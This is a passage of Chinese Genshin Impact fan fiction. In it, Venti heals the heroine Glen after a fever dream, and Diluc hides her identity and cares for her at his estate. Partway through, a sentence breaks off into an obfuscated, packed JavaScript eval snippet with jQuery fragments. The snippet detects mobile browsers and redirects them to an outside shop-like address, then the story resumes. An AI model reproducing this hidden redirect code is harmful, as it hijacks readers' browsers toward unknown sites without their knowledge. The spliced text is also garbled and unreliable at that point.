风在耳边呼啸。
我陷入一片黑暗之中,什么都看不见、什么都听不见、什么也感受不到。
随后,我睁开眼,看见了皎洁的明月。黄沙从我眼前飞过,夜幕铺展整个天,沙砾走满整片地。
这里没有任何人,只有我自己。
没有任何压力、没有任何苦恼、没有任何期望、没有任何绝望。
我可以静静的坐在微凉的沙砾之上,望着一望无际的天地。
“真是美丽的地方,不是吗?”一个轻快的声音响起,我不知道他是谁,但是我总觉得这个声音不应如此沉重。
我没有回头,他似乎从后面到我的旁边,然后和我一样,席地而坐。
“我以为,来到这里的人第一反应是觉得荒芜。”我静静地注视着远处的地平线,那一望无际的沙丘远处,“但是你说的对,我也觉得这里很美丽。”
“你不想回去了吗?看起来,你很留恋这里。”
我的余光瞥见一抹青色,他的声音很轻柔,语气中没有失望,只是一种平静与温柔,反而让我感觉到一种悲伤涌上心头。
“这里不是挺好的吗?”我还是固执的望着那轮明月,“没有悲伤、没有痛苦,很轻松。你对我失望了吗?”
我不知道自己为何会说出这些话。
“我不会对你失望,因为你是自由的。假如我因为你做出不合我意的选择而失望,而想要去左右你,那你就不是自由的。”
“可是我真的好累好累,我不知道为什么会遇到这些?为什么必须经受这些?”
“为什么要把我一个人留在孤独之中?”
我不记得一切,但我却又好像知道自己在说什么。泪意涌上眼眶,我终于转过头,眼泪从眼眶中簌簌落下,啪嗒啪嗒落在衣服上。
泪眼模糊的视野中,他的面容模糊,我知道,他依然静静的注视着我,他伸出手抹去我脸上的泪水,然后轻轻的将我拥入怀中。
“我尊重你的一切选择,无论怎样,我会如我承诺的那样————。”
话语消散在风中。
眼中含泪,我却终于露出笑容,“那么,我也将如我承诺的那般————。”
随后,我闭上双眼,坠入一片黑暗。
我可能是发高烧了,全身上下没有一处可以动弹,沸腾般的高热充斥大脑,让我难受得不得不借助急促的呼吸让自己好受些,难受达到极点后,又感到疗愈般的舒适与愉悦感。
也许喊叫出来会更让我好受些吧,但我不知自己是否发出了声音。
不知何时,温暖的力量一点点涌入我的身体,好似无形的手,缠绕包裹着全身,我好像中暑的人碰到冰袋,不自觉更靠近了些。
愉悦的心情取代了原本的痛苦,我因感到陌生的情绪而颤抖。
不知过了多久,我终于能够抓住自己的意识,沉重的眼皮终于听从我的指挥,慢慢睁开。
首先看到的是一双轻轻阖上的双眼,睫毛微微颤动,我们之间的距离非常近,以至于呼吸交融,连他额前的黑蓝色发丝都能看的一清二楚,我似乎是坐在他的怀里,双手与他十指相扣,此时此刻额头相触。
第一次在清醒的情况下跟人的距离如此之近,我感觉浑身燥热起来,也不知道该动还是不该动。
当然,我能感受到温迪通过我们相握的双手,将他的力量传递给我。
“你醒了,格伦?”温迪睁开那双绿色的眼眸,他清浅的气息扑洒在我脸上,“感觉如何?还有不舒服吗?”
“我……没事了,是你救了我吗,谢谢你。”我低声道,看见他碧绿的眼眸,却好像被烫到了一般,微微挪开视线。
我记得刚才仿佛做了一个梦,但是醒来却怎么也想不起来。
“对我,你永远不用客气,格伦。”他松开握住我的手,轻轻摸了摸我的头发。
不知为何,我并不抗拒他对我说这些话,也不抗拒他对我的触碰。
我环视周围,才发现自己所在的地方是千风神殿。
现在已经是晚上了。
我们两个起身,保持同样的动作太久,都忍不住伸个懒腰,活动活动筋骨。
“我怎么会在这里?”
温迪轻笑一声,“是我把你从迪卢克姥爷那里带过来的,因为你实在睡太久了。”
我猛的想起什么:“他……已经知道我……?”
“别担心,格伦。迪卢克不会对正义之士怀有敌意,你所做的一切,他都看在眼里。”
“嗯。”我短促的回应了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437681|200993||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他的安慰。
咕——
我的肚子发出声音,让我后悔出生在这个世界上。不过也对,这么多天都没吃东西了。
温迪没忍住笑了笑:“哈哈,走吧格伦,我带你进城,咱们去搞点好吃的。”
*
狂风之中,少女的面具脱落。
将昏迷的她从地面抱起,那张脸并不让迪卢克感到意外,少女的手中依然握着那颗红色的结晶。
但是既然格伦并不希望自己的身份被他人知道,那么迪卢克就尊重她的选择,没有让凯亚看见她的脸。
只是用她身上的斗篷将脸遮盖住,将她带回了酒庄,让凯亚在报告中掩盖了她的存在。
一个愿意舍身阻止一场阴谋的人,一个救过他的人,迪卢克愿意给予她信任。
她的身上有大大小小的伤口,当时法阵易散出的力量如刀割般,能够割开人的皮肤,而她处于最中心,受到的伤害也当然最大。
迪卢克找了个嘴巴牢靠的医生帮助她处理了全身的伤口,她的身上并没有致命伤,医生只能判断她是因为力竭而晕倒。
待时间一天天过去,三天、五天、七天,她依然没有醒过来,黑色的长发散落在柔软的枕头上,双眼紧闭,睫毛落下阴影,挡不住憔悴的青黑。
看来,是因为那股奇怪的力量,可能对她造成了一定程度的影响。
迪卢克坐在格伦的病床旁边,手中捧着一本书放在大腿上,却迟迟没有翻动下一页。
她会不会一直醒不过来?
叩叩。
房间的门被敲响,迪卢克应了一声,佩妮开门走了进来,“迪卢克老爷,有一位叫温迪的吟游诗人来找您,听说他是您的朋友。”
“让他进来。”迪卢克想起那一天法阵中那股风元素力,心中有了猜想。
青衣的诗人脚步轻捷,从门后探出一个头来。
“好久不见,迪卢克。看来你遇到了麻烦。”温迪弯起眼笑了笑,但由于现在不是什么轻松的情况,他没有多开玩笑。
“你有办法?”
“对,我应该有办法治愈她。”
风色的诗人这样说道,垂眼看着沉睡的少女,眼中一种复杂的情绪一闪而过,迪卢克还没有来得及捕捉到。